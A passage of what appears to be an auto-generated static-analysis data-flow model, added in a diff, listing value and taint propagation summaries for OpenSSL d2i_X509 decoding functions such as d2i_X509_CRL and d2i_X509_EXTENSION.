"(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_bio", "(BIO *,X509_CRL **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_bio", "(BIO *,X509_CRL **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_bio", "(BIO *,X509_CRL **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_bio", "(BIO *,X509_CRL **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_bio", "(BIO *,X509_CRL **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_bio", "(BIO *,X509_CRL **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_bio", "(BIO *,X509_CRL **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_bio", "(BIO *,X509_CRL **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_bio", "(BIO *,X509_CRL **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_bio", "(BIO *,X509_CRL **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_fp", "(FILE *,X509_CRL **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_fp", "(FILE *,X509_CRL **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_fp", "(FILE *,X509_CRL **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_fp", "(FILE *,X509_CRL **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_fp", "(FILE *,X509_CRL **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_fp", "(FILE *,X509_CRL **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_fp", "(FILE *,X509_CRL **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_fp", "(FILE *,X509_CRL **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_fp", "(FILE *,X509_CRL **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_fp", "(FILE *,X509_CRL **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - 